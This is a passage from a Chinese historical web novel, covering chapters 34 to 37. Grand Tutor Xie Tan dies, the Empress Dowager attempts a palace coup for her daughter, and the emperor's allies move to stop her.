谢维没吭声,他的盔甲和佩剑都卸了下来,放在了一边。上阳宫里面空得骇人,白日里会有几个太尉府的人来伺候,但每天晚上都要回去,从不许过夜。梁芸姑当日以死相逼才争取到了留在太后,所以她也一步不能出上阳宫。但是谢维来的时候,谢拂霜是不要梁芸姑来陪的。
执金吾卫奉太尉之令,将太后软禁,但是谢维对此事的态度十分暧昧。他一方面尽职尽责,另一方面,又表现得温和亲密,好像在他眼里,这都不算什么,就是家事而已。他虽然看守不松懈,但谢拂霜要什么,能不惊动谢郯的情况下他都尽量满足,时不时地还来陪着下个棋,喝喝茶。
谢拂霜一开始没好脸色,被多关了几天,竟像是被谢维的态度影响了,也没事儿人似的。闲来弄妆吃酒,读书下棋,倒像是又回到从前在太尉府待嫁的时候,悠然自得。
谢维亲自煮了茶,双手递了过来。谢拂霜接过来,并不喝,只是摸在手中焐着,又问:“你那妻弟,可安排好了?”
谢维便笑笑,意味不明地“嗐”一声。
他妻子姓卢,不是在建康娶的,是他到了幽州自己做的主。卢氏是渔阳大族,看着陈氏僭越称帝,卢氏也蠢蠢欲动,结果败于陈氏之手,仓皇逃入大雍。谢维娶卢氏的女儿,收服卢氏的人马,稳住了幽州的太平。如今他回建康了,妻儿也跟着回来不说,还带了一大家子卢姓。要给他妻弟安排个一官半职倒也不难,但是谢郯一直病着,根本想不起来这事儿。
谢拂霜举起杯子喝茶,又道:“哪用得着父亲,阿兄一句话的事情。”
谢维轻轻叹气:“拂霜,你啊。”
谢拂霜睁大眼睛:“我怎么了?”
谢维摇摇头,又不肯说。谢拂霜心里明镜儿似的,知道怎么回事。谢聿跟谢维兄弟之间,也不是说感情不好,但从小免不了较劲。当年谢郯把谢维派去幽州,是不是舍不得亲儿子,所以要侄子去吃这份苦头,谁也说不清。果然谢维出息了,如今谢郯很仰仗他,谢聿心里怎么想,也不好说。
最重要的是,谢聿没有儿子,但卢夫人能生。谢维一下抱回来好几个儿子,要文有文的,要武有武的,谢郯终于安心了。
谢维起来,准备走了:“你休要在这里挑拨离间。”
谢拂霜眼睛睁得越发无辜:“冤枉!”
谢维摆摆手:“我不同你说。”
谢拂霜还是拖着腮,笑盈盈的:“哎呀,卢夫人也是命苦,给你生儿育女,大老远地跟着你回了建康,夫君都当上执金吾卫中尉了,怎么给弟弟谋个一官半职还这般推脱……”
谢维扭过脸来,颇有点儿被她气得牙痒痒的神情,但又没法子,最后只能舔了
舔牙根,笑着摇头。
谢拂霜也笑,从袖中摸出了一张信笺,在指间晃了晃。谢维接过去,低头看了一眼,又看她:“尚书左丞?”
谢拂霜神色淡淡地继续喝茶:“阿兄要是怕父亲怪罪呢,就把这封信烧了。拂霜也没有别的意思,心疼心疼你被卢夫人埋怨而已。”
谢维深深地看了她一会儿,把信揣进了怀中,什么都没说,转身走了。谢拂霜一盏茶还在手中,端了许久,又轻轻地把茶水放下,然后毫无预兆地把棋子全都扫到了地上。
晶亮的玉石棋子如飞溅的雨珠,淋湿了她的强颜欢笑。梁芸姑无声地从暗处走了出来,见太后端坐在那里,已经面无表情。她什么都没问,低下头一粒一粒地把棋子全都捡了起来,分出黑白两色,放回棋篓中。再把谢拂霜手边的茶都收拾了,直接全部倒掉,一滴不留,另煮了一壶新茶过来,这才听到谢拂霜冷笑了一声。
“谢维这个人,从小就是装糊涂,装好人……没办法,寄人篱下呀,他敢得罪谁?”
可是他也聪明,若不是当年去幽州,留在建康也不会被谢郯重视。
梁芸姑只低声道:“王左丞是向着太后的。”
谢拂霜没说什么,她自然知道。尚书左丞也是王家的人,但跟王诃已隔了好几辈,并不亲近。他一向支持谢拂霜,倒也不为别的,只为太后一改大雍立国以来非要穷举国之力西征的国策,让百姓好歹休养生息了几年。
太后执政十五年,也算得上为政明德,纳谏任贤。这样的人,朝中还有。
“他也在等啊……”谢拂霜抬起脸,很慢地呼出了一口气。萧盈又在策划些什么呢?她无从得知,但从知道萧盈在温泉宫为谢郯种满了花开始,她就知道,萧盈肯定也在谋划些什么。说来可笑,他们这对“母子”之间,其实还是有一些默契的。
萧盈在等,她在等,其实谢维也在等。
谢拂霜的声音几乎听不到:“不会等太久了。”
萧盈没有听到上来自上阳宫里失神般的喃喃自语,唤醒他的,是十日后的深夜里,任之压低的声音。萧盈只听到了“温泉宫”三字,人已经骤然清醒,一下子从床上坐了起来。
“什么?”
任之便又重复了一遍:“陛下,温泉宫来报,太尉不好了。”
第35章
明绰匆匆奔进温泉宫的正门,两只脚还未都踏进来,已听见了谢星娥的哭叫:“太父!”
明绰脚下一顿。温泉宫地势下陷,为了保温,四面都是石墙,一进来就先陷进了满园子的花香里,兰花本该清雅,可是种得这么多这么密,便浓得有一种行将腐烂的甜味。
任之迎上来:“长公主。”
“太尉已经……?”
任之摇摇头:“还没有,长公主请。”
明绰被他带着进去。谢郯的床边围着三个太医,帷幔垂下,隔绝了视线。萧盈和谢星娥都在外间,谢星娥被萧盈揽着肩膀,半抱在怀中,哭得眼红脸肿,见到明绰进来,她一下子扑了上来,紧紧抱住了明绰,放声大哭:“姐姐!”
明绰的眼泪瞬间也跟着落下来。谢星娥是太尉府里唯一的孙辈,自是与谢郯尤其亲厚。明绰心里更复杂一些,谢郯待她更严厉一些,如今又软禁太后,钳制天子,她心里戒备,甚至恐惧他。可毕竟血脉相连,又受教多年,谢星娥一哭,她也难过不已。
两姐妹的哭声惊动了谢郯,床上的人影突然动了起来,挣扎着,要说话。明绰立刻摁住谢星娥的肩膀,两人都压低了声音,这才听到了谢郯喉间模糊的几个音节,他在叫名字,可是听不清楚到底是“聿儿”,还是“盈儿”。
萧盈突然对谢星娥道:“快去接舅舅进宫!”
谢星娥抽噎着:“已经……已经叫人去了……”
萧盈一皱眉:“都这时候了,你还不亲自去?”
谢星娥愣在那里,眼泪还挂在眼睫上,一动,就一大颗泪掉出来,沉甸甸地往下砸。任之看到萧盈的脸色,赶紧做了个牵引的手势,请皇后出去了。
明绰突然唤他:“皇兄。”
萧盈转过头,凝视了她半刻,不知道他在想什么。片刻,他无声地从腰间解下了一块小小的鱼符,递给了她。鱼符供天子身边的近侍传口谕时作为凭证,有了这个,公主就能暂解上阳宫禁制,让太后来见父亲最后一面。
但是萧盈怀疑她是否真的需要这个东西。
明绰不知道他在想什么,含着泪接过鱼符,转身跑了。
垂死的老人房间里只剩下了萧盈,和几个束手无策的太医。卞弘之前还在试图给谢郯灌人参下去吊气,到此时也已经放弃了,跪在了萧盈面前请罪。萧盈低头看了他一眼,摆了摆手:“你们也下去吧。”
三个太医鱼贯走出了房间,留萧盈一个人坐到了谢郯的床边。谢郯一直在喘,大汗淋漓,浑身湿透,像一条刚出水的鱼。胡须上还残留着刚才没灌成功的人参汤,萧盈伸出手,用自己的袖子给他擦了擦。谢郯一下子抓住了他的手腕,带着濒死的人才有的无穷大力,几乎把萧盈的手腕捏青。萧盈看着他的脸,辨认不出来他是否还有意识。
他的床头还摆着一盆兰花,花瓣柔软如蝶翼,轻盈地舒展。温泉宫的人禀报说,是谢聿昨天来看的时候从园子里带进来的。
谢郯又吐出了方才几个音。
“朕在这儿。”萧盈安抚地反手抓住他的手,“太父还有什么话?”
谢郯说不出来,还是喘,手指蜷缩,绝望地抓着他。
萧盈好像已经听懂了他的意思,一下一下抚着他的手背:“太父,你还记得小的时候,你给我讲汉宣帝和霍光的故事吗?”
谢郯无声地看着萧盈,眼角突然淌下了一滴泪。萧盈又倾过身,几乎是温柔地替他擦去了那行泪:“汉宣帝给足了霍光身后体面,朕会效仿他,以帝王之仪给你下葬。”
谢郯的眼泪落得更多,那喘息已变作了哀鸣。萧盈只当没有听见,只定定地看着那盆兰花。
太后私下联络朝臣多日,萧盈推测,她若有动作,必在今夜。温泉宫内外已经部署周全,若是谢拂霜当真只是前来哭丧,什么都不会发生。萧盈怕的是她不来。
他低下头,看着面色已经开始发绀的老人,突然问:“她还会来见你最后一面吗?”
明绰奔进上阳宫,远远地已看见宫外金甲无数,比往日里多得多,但见她来,竟一个人都没有拦她。谢维站在宫门口,好像就在等她。
“舅舅……”明绰手里举起鱼符,但是谢维看都没看,侧了侧身,示意她进去。从他的神色来看,他好像已经知道了。明绰来不及多问,发足狂奔,进了正殿。
“母后!”明绰哭叫着,“太父不好了,母后!”
梁芸姑突然闪出来,搂住了哭个不停的小公主:“嘘……”
明绰被她抱着,突然噤了声。只见谢拂霜坐在镜前,正专心致志地描眉。她身上穿了玄色的太后翟衣,大袍曳地,威严无比。她听到明绰进来了,但是她没有回头,只是轻声吩咐梁芸姑:“去给长公主更衣。”
明绰哑着嗓子:“更什么衣?”
没有人答她,但是有两个身着金甲的人上前,明绰低头,只见他们手上托了十二章纹的衮服,冕冠、玉佩、绶带、赤舄一样不差,她小的时候代天子上朝都没有穿过这么高的规格。
就在那一瞬间,她什么都明白了。
“不……”明绰挣开梁芸姑,跪在了太后面前,“母后,不要!”
谢拂霜终于转过头来,垂眸看了她一会儿,然后伸出手托住了她的脸,轻轻为她拂去了眼下的泪痕:“溦溦,你是父皇唯一的孩子,这本来就该都是你的。”
明绰泪如雨下:“我不要……”
谢拂霜只当没有听见:“你别怕,母后已经把一切都安排好了。”
明绰还想说什么,但是谢拂霜已经朝着梁芸姑点了点头
,她走过来,硬是把明绰拉了起来。
“母后!母后你听我说!”明绰再次挣开梁芸姑,紧紧地抱住了谢拂霜的膝盖,“桓宜华几天前就跟我露过口风了,无论你安排了什么,皇兄都已经知道了……母后你现在收手还来得及,你跟我去温泉宫好不好?太父还在等你,母后!”
谢拂霜没有听她说完,突然站了起来。翟衣的广袖扫过,如凤鸟展开的巨翼,把明绰掀倒在地。她从来没有哪一刻如此像一只雏鸟,无助地被卷进身不由己的风暴中心。
谢拂霜平淡地说:“原来父亲还没有咽气啊。”
明绰伏倒在地,除了一声一声哀求“母后”,什么都说不出来。
“萧盈知道了又如何?”谢拂霜垂眸看着女儿,嘴角还挂着那个笑。她的眉眼勾得十分锐利,额间点了红,在暗中映出寒刃似的锋芒,明绰从来没有在母亲的脸上见到过这样残忍的笑容。
“执金吾卫是谢家的执金吾卫,掌管尚书台的是本宫的兄长,中书省、御史台都有本宫的人……”谢拂霜顿了顿,想起那句“桓宜华”来,明白了什么似的,讽刺地冷笑了一声,“怎么?他调了荆州军?”
明绰绝望地闭上了眼睛。若是一年前,太后说“执金吾卫是谢家的执金吾卫”确实不假,可是这短短一年,执金吾卫就换了三个中尉,人心易变,他们到底忠于谁,不到最后一刻谁也不知道。萧盈一定会起复崔挺,若是执金吾卫内部分裂,袁煦又奉皇命率荆州军入城,执金吾卫再精锐也不会是对手。
而起兵谋反的罪名,也不会再像下毒一样那么容易被轻轻揭过。
“母后我求求你……”明绰膝行两步,再次抱住了谢拂霜的膝盖。谢拂霜皱起眉,不耐烦地俯身去拉她,要她站起来。
“那又如何!”谢拂霜的手像鹰爪一样深深嵌入明绰的肩膀,眼中迸发出近乎狂热的光,“到现在都没听见大军入城的消息,本宫天亮之前就能杀了萧盈,袁煦他来得及吗!”
明绰整个人都往后坠下去,试图阻止母亲往前的步伐,简直像耍赖的小孩子,她没有任何办法了,只能这样无理地尖叫:“不要!不要!”
梁芸姑也走过来,还想带她下去更衣,但是明绰掀翻了装着玉佩和绶带的托盘,繁复的玉器叮呤咣啷地砸了一地。梁芸姑只能摁住她,劝道:“长公主,太后都是为了你……”
“可是我不要!”明绰的声音扬起来,像绷断的弦,“我从来没有想过谋权篡位——”
她话音未落,谢拂霜突然扬起手,狠狠地打了她一个耳光。这还是她第一次打女儿,明绰仰着脸,震惊地看着母亲。
“你是先帝唯一的孩子,”谢拂霜说得咬牙切齿,眼中已经含了泪,却不肯坠下,“这不是‘谋权篡位’。”
明绰的脸上飞快地起了一片红,但是这一巴掌反而把她打得安静了,她不再闹,轻轻地推了一把梁芸姑,自己站了起来,站在了母亲面前。
“母后,从你认下皇兄那一天起,我就不是父皇唯一的孩子了。”明绰每个字都说得清清楚楚,“就算你今夜能杀了皇兄,你坐得稳江山吗?袁煦今夜来不及,明天呢?后天呢?他来了,会不替皇兄报仇吗?因一己之私,致天下兵祸,这就叫谋权篡位!”
谢拂霜看着女儿,胸膛剧烈起伏,突然感到喉咙被扼住了似的,不得不闭上眼睛,用力地做了两个深呼吸。然后决心不再理睬女儿,转身就走。
明绰不肯放过她,快步追上来:“荆州若反,各地州镇都会反,母后,你要我坐皇位,就给我一个这样的江山吗!”
谢拂霜猛地站住脚,停在了宫门口,好一会儿,突然转过脸来,深深地看着明绰。
“你说得对,一旦听说女帝登基,各地州镇都会反。当年父亲也是这么对我说的,当年还有宛南王、燕康王,还有陈氏和羌人……”明绰白皙,脸上红痕醒目,她忍不住心疼地伸手去摸,好像懊悔下手太重。但是明绰别开脸躲过了她的手,谢拂霜眼中闪过一丝刺痛,终究放下了手。
“所以我怕了,我也等了。我跟自己说,再等等,再等等,我会为你把路都铺好,会有更好的时机……”
她一等就是十五年,等来了上阳宫幽禁。
“可是他们永远不会把江山好好地送到你手上。”谢拂霜的声音几乎耳语,好像不明白女儿为什么还是不懂她的心,“荆州要反,就把荆州抢回来。今日不争,永远不争,那天下永远都不会服你,你不明白吗?”
“可是我不要啊……”明绰也急,不明白母后为什么不明白这个道理,“我从来都没有想要过这个皇位!”
“那是因为天下人不肯给你!”谢拂霜恨不得把自己的心掏出来,“母后给你啊!母后什么都会为你做,哪怕是豁出命……”
“可是我就是不要你豁出命!”明绰抓着她的手臂,“我不要你死,我也不要皇兄死……皇兄不会伤你的,母后你就听我一次好不好?”
谢拂霜笑了一声:“到了这个地步,你还信他?到时候他把你往长安一送,他要关我还是杀我,你还能知道什么?”
“我信!”明绰的眼泪又滚滚而下,“皇兄不会送我去长安的,他会跟大燕报东乡公主病逝,另择官女封公主……”
她的话还没有说完,谢拂霜突然扣紧她的手臂,脸上露出骇人的神情:“什么?”
明绰被她的表情吓了一跳,但还是把话说完:“我就可以一直陪在母后身边……”
谢拂霜看着她,突然放开她,退了一步。就在那一瞬间,她明白了什么。
“原来是他……”谢拂霜竟然笑了出来,“竟然是他!”
明绰瞬间白了脸,徒劳地想否认:“不是的!”
谢拂霜在原地晃了晃,似是站不住:“他想学成穆皇帝,好啊,好啊!”
“母后!”明绰跪下来,急得语无伦次,“我是为了陪在母后身边……”
“你陪着我干什么!”谢拂霜厉声喝断她,“陪着我烂在这上阳宫吗?!”
她用力地把女儿一推,气势汹汹地往宫外而去。明绰站起来,还想追上去,忽然听到了遥远而沉闷的“咚”一声,宫门口所有的执金吾卫都一起抬起了头。
谢拂霜僵在原地,已经知道了这是什么。她闭上眼,好像这样就能阻止什么,可是一切都于事无补,第二声鼓还是遥远地传来,她感到天旋地转,仿佛敲响的是她脚下的大地。
谢维就站在阶下:“拂霜……”
谢拂霜睁开了眼睛,滚下了一行泪,但声音平静:“太尉不在了,执金吾卫听何人号令?”
谢维神色哀戚:“拂霜!”
谢拂霜看了他一眼:“你叫本宫什么?”
她话音未落,又是“咚”的一声。谢维面色一凛,突然退了一步,低下了头:“执金吾卫丹心可昭,誓死追随太后!”
谢拂霜点了点头,只说了一句:“好。”
三声哀鼓,震碎皇权座椅上粉饰的金漆,露出了其下狰狞的血色。告天,告地,告人。
她的父亲走了。
第36章
哀鼓从宫中传出来,经过城中的鼓楼,一段一段地传出来,最终惊动了城郊路边的人。
崔挺抬起头辨认了片刻,忍不住轻轻发出了一声叹息。袁綦转头看了他一眼,似是等着他说什么,但是崔挺只有这一声叹息,再无别话,还是袁綦主动提了个话头:“将军曾在太尉麾下吧?”
“嗯,”崔挺没有否认,“宿州,平宛南王之乱,我为太尉前锋。”
袁綦扬了一下眉毛。那是他出生以前的事了,他实在没话好接,就不说了。好在这尴尬并没有持续太长时间,路边传来了马蹄声。两人立刻隐身在路边的野草中,此刻正是天亮前最黑的时候,他们几乎没有被发现的可能。马上的人手中执炬,看不清是谁,但一身金甲在火光下照得清清楚
楚。
崔挺从喉中发出了一个音节,还没来得及说话,袁綦已经像离弦的箭一般从他身边蹿了出去。只听黑暗中传来绊马绳被舞动的呼呼声,崔挺依稀看见一团黑影灵活地从马腹下攀上去,马嘶叫着倒了下来,马背上的人却已经被袁綦拽着一跃而下。黑影身轻如燕,执金吾卫被金甲拖累,笨拙得来不及反应,只听“咔咔”两声,胸甲下的带子已被短刀精确地割断,金甲卸下,短刀蛇一般抵在了他的胸口,另一只手飞快地在他腰间摸了两下,摸走了一份卷轴帛书。
“饶命!”执金吾卫吓得一身冷汗,“英雄饶命!”
崔挺听出他的声音,在黑暗里探出头来:“楚培?”
楚培一愣,眯着眼睛去看人影:“中尉?”
崔挺早已不是中尉,但楚培的习惯还没改得过来。袁綦的短刀适时地收了回去,轻声道:“右中侯,得罪。”
楚培惊魂未定地摸了摸胸口,回过头去想看清楚是谁。崔挺从草丛里现了身,从袁綦手中接过了卷轴,一摸便知是诏书。楚培手里的火炬早灭了,反正也看不清,崔挺仍旧扔还给了袁綦。
楚培明白过来是怎么回事儿了,撑着自己的膝盖,大口大口地喘气。太后下令连夜调集执金吾卫所有兵力,崔挺就在这儿等着截人。他把虎符掏出来的时候,楚培甚至懒得假装一下他很意外。这一幕似曾相识,当时剿长沙王的时候也差不多是这个情形,只不过当时是假虎符,如今应该是真的。但也都无所谓了,很显然,虎符没有人管用。
“中尉,”楚培终于缓过一口气,“我想请辞回家。”
崔挺没忍住笑了一声。楚培不是个能干大事的人,这一年接二连三的叛乱和宫变,着实为难他。从前两人一直不对付,没想到此刻却在深夜里无奈地相视一笑。
袁綦听不懂说笑,以为右中侯不识时务,冷冰冰的短刀一下子又贴了上来。楚培连声“哎哎哎”,忙不迭道:“我降了!降了!都听中尉的!”
袁綦这才放下短刀,被他绊倒的马还在地上痛苦地嘶叫着,爬不起来。袁綦走过去,摸了摸马腿,便知没救了。手起刀落,干脆利落地了结了它。
楚培轻轻咂舌:“哪路英雄?”
崔挺转身去野草丛里把他们准备好的马牵出来,一边道:“荆州刺史家里的二郎。”
楚培立刻“嘶”一声。怪不得这少年人绊马杀马,都是行军做派。
“身手了得。”楚培心有余悸,突然又道,“袁家一门两虎将,看来要变天了。”
崔挺翻身上马,只道:“要辞官也熬过了眼下的乱子再辞,上马!”他身边还有一匹,想必是袁綦骑出来的。楚培依言上马,听到崔挺又扬声道:“小袁将军,我们立刻就去大营接管了,剩下的事情你自己一个人去,不要紧吧?”
袁綦闻言便站直,十分少年老成地回答他:“无妨。我兄长若已稳住宿州大营,此时也该来信儿了。建康大营就交给崔中尉,请快快去吧。我尚无军职,不必称我将军。”
崔挺笑了一声:“如此身手,早晚的事!”
话音未落,人已经策马而去。楚培紧紧跟在他身后,转眼就消失在了黑暗中。袁綦把手肘弯起来,夹着刀刃擦了擦马血,然后转身飞快地跑进了城。
整个建康都断断续续地亮起了灯。百姓们被哀鼓惊动,顾不得禁燃令。权贵府上更是灯火通明,若有人能从天上往下看,可以很清楚地看到权贵们聚居在建康何处。
在这明亮的漩涡中,唯独太尉府黯淡了下来。
谢聿扑在父亲的尸体上,放声痛哭。
他没有来得及见到谢郯最后一面,尽管他连衣服都没来得及好好穿,尽管陛下下了令宫门直开,还是没有来得及。宫里已经为他准备好了孝服,但是谢聿哭得肝肠寸断,只好让宫人给他穿。整个过程简直像是一场搏斗,谢聿毫不配合,时不时地就想往病床上扑。萧盈在旁边看着,眼神说不出的漠然。
“陛下……”谢聿终于想起来这还是在御前,萧盈马上做出双目含泪的悲戚神态,把手伸出去让他握住:“朕在。”
谢聿哭得眼睛都快睁不开,只问:“太后呢?太后怎么……也没来送父亲最后一程……我的老父啊!”
他最后一句哭得抑扬顿挫,谢星娥和庾夫人也跟着他一唱一和,萧盈伸手在谢聿肩上轻轻摁了摁,体贴道:“舅舅,节哀。”
“拂霜在哪里!”谢聿已经无法自控,仰天长啸,“拂霜啊,我们的父亲没了啊!”
萧盈被他喊得额上青筋微微一跳,但很好地控制住了面部表情,跟着抬起袖子“呜”了几声,声音不比谢聿轻,听着也没比他少悲痛半分,一边还熟练地捂住了心口。
任之立刻上前一步,尽忠职守地开始劝:“陛下有旧疾,切不可伤心过度了呀!”
谢聿还没说话,谢星娥已经眼泪汪汪地帮了腔:“陛下还是要先保重自己的身子……”
萧盈不说话,另一只手在袖底做了个几乎没人看到的手势,任之马上道:“奴婢马上为陛下召太医!”
他二话不说地把萧盈扶起来往外走,谢星娥不明所以,一脸担心地想跟上来,但是被庾夫人狠狠拽了一把。谢星娥只好眼看着萧盈走了出去,回过头来才发现,父亲不哭了。
“父亲……?”谢星娥看着谢聿的脸突然拉了下来,阴沉得可怕,“怎么……?”
谢聿抬眼看她:“你姑母呢?”
谢星娥茫然地摇摇头:“我不知道……”
“你怎么能……”谢聿看起来像是恨不得打她,庾夫人马上把谢星娥护在怀里,恼道:“你拿星娥撒气干什么!”
谢聿咬着牙,恨恨地“哎呀”一声,焦虑地起来踱着步。
这个温泉宫还是前朝孝康皇帝建的,修得极尽奢华,但到了大雍一朝,几个皇帝们没一个愿意来享受。一方面是怕物力虚耗,被人骂穷奢极欲。另一方面——说得不好听一点,这里是萧氏先祖当初承宠的地方。萧盈以孝顺为名,把谢郯安排在这里,让谢聿不要多想是不可能的。现在他打量着这些密不透风的石墙,尽管并不直接身处汤池中,也觉得要被闷得喘不过气了。这是一个陷阱,一个牢笼,他走进来的时候就发现温泉宫外面全都是萧盈的人,等意识到谢拂霜不在的时候他已经明白不好了。
可是他明白了也没有办法,谢郯的尸体就在这儿,他绝不能不进来。
怎么办。怎么办。谢聿又跪在父亲的病床前,握着他尚有余温的手,泪如雨下。恨不得他能再活过来,再庇佑谢家一次。
“父亲,你一定要保佑拂霜不要冲动……”谢聿喃喃着,用很低的声音祈祷着,“保佑谢家……”
谢星娥恐惧地依偎在母亲怀里,抬头问她:“父亲在说什么?姑母要做什么?”
可是庾夫人没有回答,只是流着泪,更紧地把女儿搂进了怀中。
萧盈走出了谢家人的视线,也在问同样的问题:“太后呢?”
他确实来了太医们停留的这个房间,卞弘看他的脸色本想上来把脉,但他挥了挥手示意不必。这温泉宫里太热了,热得他心里发躁。任之朝太医们使了个眼色,让他们都下去,一边去接萧盈脱下的外袍。
“太后带人去了太极殿。”
萧盈把手臂从繁琐的广袖里挣脱出来:“多少人?”
“谢维总共调了两千人入宫,方才楚培出宫去传令了……”
萧盈烦躁地点了点头,示意他不用再说。谢维是这几天开始有动作的,他不确定谢郯哪一天会死,所以只能逐日增加人手。萧盈猜测,大概就是在太后联络了尚书左丞之后,谢维才倒向了她——可是这法子也太明目张胆,萧盈还没瞎到上阳宫在自己眼皮底下增兵还无所察觉的地步。
“长公主呢?”萧盈又问。
“在太后身边。”任之顿了顿,看了一眼萧盈的脸色,才道,“上阳宫为长公主准备了……天子衮服。”
萧盈毫不意外地笑了一声。当然了,这就是谢拂霜一直以来的目的。她应该是想把他先杀了的,但是毕竟谢郯的尸体在这儿,也许是谢拂霜有顾忌,也
许是谢维有顾忌,反正他们谁也不敢当着谢郯的面兵围温泉宫。所以她才带人去了太极殿。
夜间哀鼓三声,已是帝王规格,天一亮,群臣就会入太极殿,来看是怎么回事。她的打算可能是借这个机会直接扶长公主登基,以尚书左丞为首的一批人会支持她,剩下的会被谢维以武力威胁。等到事情定了以后,她再回过头来把萧盈揪出来杀了也不迟。
她该多为难。萧盈想。
“大将军那里还没消息吗?”萧盈又问了一遍,然后烦躁地挥了挥手,不用任之回答,知道他也回答不出来,只好自己恨恨地在心里骂桓湛。
“你怎么才来?!”
天蒙蒙亮了,已经焦虑得在自家门口不停打转的桓湛终于见到了发足狂奔而来的袁綦,一时急得只想骂人。袁綦气都喘不匀,先把手里的诏书给他。
“证……证……”他撑着自己的膝盖,“太后谋反的证据!”
桓湛翻开来匆匆扫了一眼,被上面的内容骇得好一会儿都没说得出来话。还是身边的人有眼力见,给袁綦送了一瓢水。袁綦不歇气地喝了一半,另一半直接从自己头上浇了下来。
“马上拿去给大将军!”桓湛把诏书卷起来交给身边的人,看着他走了两步,又暴喝一声,“跑着去!”
袁綦腿都软了,直往下倒,桓湛赶紧扶住他,一眼看到了他身上有血:“仲宁!”
“没事,”袁綦胸口灼痛,惜字如金,“马血。”
桓湛瞪大眼睛看着他。
袁綦只好多说几句:“马腿绊折了,我给了它一个痛快。大营更远,不能耽搁,把我的马给右中侯了。”
桓湛终于听懂了,怪不得他自己跑得像匹马。
“下手这么重?”
袁綦没好气地看了他一天。黑暗中单刀截骑兵,只能用绊马绳,没有更好的办法。桓湛少爷兵,没真的上过战场,哪里懂这个?桓湛从他眼里看出了这意思,当即没好气地甩开了他。
“我还以为你怎么了,晚些见到你兄长,我怎么跟他交代?”
袁綦已经缓了过来:“我没耽误吧?”
“没有。”桓湛也正色下来,“都准备好了。”
太后既然联络朝臣,寻找支持者,那就不可能瞒得天衣无缝。群臣都听得到风声,心里也都有自己的计较。
太后诏书里说,天子并非怀帝所出,长公主才是唯一的萧氏血脉。太尉尸骨未寒,她就已经踩着父亲的骨头,迫不及待地摁他一个“混淆天家血脉”的罪名,自己站出来重新匡扶萧氏江山。
大将军虽不能直接调动执金吾卫,但建康周边拱卫京畿的驻军都只听他一声令下。今夜哀鼓敲完还不到半个时辰,桓府已经聚集了重臣和宗亲,就等大将军表态。
他点头,那他们就一起去“匡扶萧氏江山”。他不点头,军令在数日之内就会传遍大雍全境。
袁綦粗糙地抹了一把脸,有汗,也有刚才他浇的半瓢水。刚才天实在太黑了,他又自觉资历太浅,一切该听崔挺指挥,所以连诏书都没打开,更不知道写了什么。他隐约有种自己做了很重要的事情的感觉,却又稀里糊涂地蒙在鼓里,不太明白到底发生了什么。
“那……”袁綦努力让自己听起来不要蠢得可笑,“大将军会怎么说?”
桓湛朝他笑了一下,袁綦意识到自己还是问了一个太显而易见的问题,脸不自觉地红了红。但是桓湛没有笑话他,揽住了他的肩膀把他往里面带。
“去换套我的衣服,”桓湛说,“然后我们随大将军进宫。”
第37章
天亮,群臣入宫。
平日朝会,他们走的是司马门、承天门一条线,便可直入太极殿。最早赶到的是楚家的老驸马,进殿看见这架势就知道不对了,当即也不跟太后多说什么,转身想跑,被谢维当场扣下。明绰还听见母后讽刺了一句,“说话不见得管用,倒是喜欢头一个往上凑”,气得老驸马脸面通红,险些赤手空拳地要跟执金吾卫干起来。
然后又接二连三地来了好几个,全都是在朝中不怎么说得上话的人。要么跟楚驸马一样,沾着皇亲却无实职,要么就是不结朋党,连发生了这么大的事儿都一无所知的所谓“纯臣”——明绰试图从母后的反应来推断到底哪些是真的不知道,哪些其实是来支持的,但她看不出来。
明绰始终没有肯将那套天子衮服穿上身,所以看起来比较像是太后要自己夺位。有人质问了一句太后为何身着大袍,为何重兵以待,陛下何在?但谢拂霜不理他,群臣也没有敢帮腔的,他就悻悻地自己退下了。
太后还在等,等有足够分量的人出现。
等了约莫半个时辰,渐渐没人再进司马门了,谢维才得到了消息。大将军率领宗亲、重臣还有军中将领共十九人,从宫城东南角翻墙而入。
明绰听见那一连串的名字报出来,竟然只感到一种好笑的荒谬。这群人里年纪最小的也有五十了,宫城最起码三人高。谢维说,他们是一个踩着一个的肩膀这么叠了个人梯进来的。巡查的执金吾卫发现的时候,还有四个人在宫墙外,估计听见动静就跑了。大将军到底是大将军,关键时刻痛斥执金吾卫,生生把人骂得不敢上前,翻进墙来的那十五个人全都去了温泉宫。
谢拂霜听完就起了身,不必再等了,她要等的人已经作出了选择。
谢维神情有些担忧:“太后,右中侯还没有回来复命,建康大营若生变,宫中这点人……”
谢拂霜顿了顿,只道:“先下手为强。”
明绰又叫了一声“母后”,谢拂霜转过头,看见她脖子里还留着一道血印子。那是她拔了头上的钗抵在喉间,拿自己的命要挟她,不许她兵围温泉宫。她真敢下手,钗尖一戳进去就是半寸,幸亏梁芸姑手快。那伤口很小,甚至都没流几滴血,但是谢拂霜看一眼便觉得刺痛,她竟然肯为萧盈做到这份上。
“我不是为了他!”明绰当时被梁芸姑摁住,对母亲说,“既然母后都是为了我,那我甘愿一死,也不要母后为了我走上绝路!”
“你走吧,”谢拂霜突然对女儿说,“现在就去找萧盈吧。”
若太后今日事败,至少长公主没有过错。她没有穿那件天子衮服,甚至以命相护,从未背叛过天子。
明绰听懂了她的意思,但只是摇了摇头,没动。谢拂霜面无表情地看了她一会儿,转身下令。
辰时,金甲包围温泉宫。太后遣人将诏书高颂三遍,将当年的真相公之于众。她给了温泉宫半个时辰,命伪帝萧盈自行了断。若有迷途知返,愿替萧氏江山除害的,封一品公侯。
大将军听完就拔了剑,守在萧盈面前,对着守在这里的群臣怒道:“我看谁敢!要动陛下的,先从我桓殷身上踏过去!”
能跟着他来的自然都已经站定了立场,什么一品公侯,在座的也没谁稀罕。但桓殷这样说,众人就都把视线投向了在场的谢聿。
“这妖后!”有人恨恨啐了一口,上来揪住了谢聿的领子,“我们先杀了她兄长!”
“别别别……”谢聿满头是汗地挣扎,“我,我是真的不知情!陛下明鉴啊!”
谢星娥也扑上来,还想摆她小皇后的威风,厉声喝那老臣,要他放开父亲。结果没有人肯听,谢星娥只能又跪到萧盈脚边哭:“陛下,我父亲忠心耿耿,绝对没有和姑母合谋!姑母连太父都这般羞辱,她……她已不是谢家人!”
萧盈闻言没忍住笑了一声。谢拂霜对这个侄女也算是疼爱有加,没想到事到临头,竟是她第一个要跟谢拂霜划清界限。但想想也是,萧盈活着,她才是皇后。若是谢拂霜赢了,她就什么也不是了。
“起来吧。”萧盈语气和善,半点没有迁怒于她的意思,反而还劝了劝激动的大臣,“不要伤了舅舅。”
那人脸上还是愤愤的,不怎
么甘心地松开了谢聿。
谢聿马上跪下来:“陛下!让臣去劝太后!臣愿意……”
“舅舅还是安心坐着吧。”萧盈淡淡地打断了他。
